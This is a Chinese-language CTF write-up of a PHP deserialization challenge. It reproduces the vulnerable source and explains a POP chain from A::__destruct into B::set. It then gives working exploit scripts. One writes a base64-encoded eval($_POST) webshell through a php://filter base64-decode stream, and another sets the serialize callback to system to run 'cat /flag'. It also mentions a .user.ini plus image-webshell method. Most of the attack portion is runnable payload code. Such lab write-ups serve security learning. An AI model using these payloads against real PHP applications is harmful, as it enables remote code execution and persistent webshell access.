这题和EZPOP基本差不多,拿出来一起写一下顺便好好学一下反序列化,太菜了、基本的pop链还没弄清晰。
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return $filename;
}
return null;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
我吐了这个代码引用会自动解析闭合标签
打开给了源码。看到unserlialise知道是一道反序列化题了,看看怎么构造pop链
首先找一下入口方法。在A类的__destruct(),调用本类的save,通过构造A的$store为B对象,从而在A类的save()中调用B类的set
在B类的set中最终完成shell的写入
然后审计一下B类
在这里是命名
这里发现如果写入shell会拼接其他的PHP代码导致shell失败,如何绕过呢?
file_put_contents
是支持php
伪协议的,通过php://filter/write=convert.base64-decode/
来将
$data
全部用base64
解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码后的)
会解码成正常的木马文件
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/';
已经可以确定了。
然后我们看一下内容如何生成
$a->catch
的构造。在cleanContents()
中,array_intersect_key()
是比较两个数组的键名,并返回交集。所以我们$object
的键选$cachedProperties
中任意一个都行,这里选择path
。值就是我们的shell
的base64
编码,JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==
。所以
$object = array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");
如果我们设值
$path='1',$complete='2'
,则最后得到的$contents
会是
<span class="token punctuation">[</span><span class="token punctuation">{</span><span class="token property">"1"</span><span class="token operator">:</span><span class="token punctuation">{</span><span class="token property">"path"</span><span class="token operator">:</span><span class="token string">"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="</span><span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token punctuation">,</span><span class="token string">"2"</span><span class="token punctuation">]</span>
其中$complete='2'
因为在shell
后面,所以并不影响解码。在本地试了试,发现$path='111'
时,可以正常解码shell
。这样的话,$data
已经设置完毕。
别的就是一些判断条件的参数,最终的exp
如下:
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct() {
$this->key = '/../ha1c9on.php/.';
}
public function start($tmp){
$this->store = $tmp;
}
}
class B{
public $options;
}
$a = new A();
$b = new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=uploads/";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '111';
$a->cache = array($path=>$object);
$a->complete = '2';
echo urlencode(serialize($a));
这是EZPOP的思路,这题使得文件名随机且后缀非PHP,所以我们看看如何绕过
看到师傅的WP,是直接写入一个cat/flag 的命令进去,不写webshell获得flag
学到了
<?php class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../wtz.phtml';
$this->cache = ['path'=>'a','dirname'=>'<code class="prettyprint" >cat /flag > ./uploads/flag.php
'];
}
}
class B{
public $options = [
'serialize' => 'system',
'prefix' => 'sssss',
];
}
echo urlencode(serialize(new A()));
获得的反序列化传入即可
参考:https://www.cnblogs.com/wangtanzhi/p/12337443.html
看到师傅们还有先传入.user.ini后传入图片马的。学到了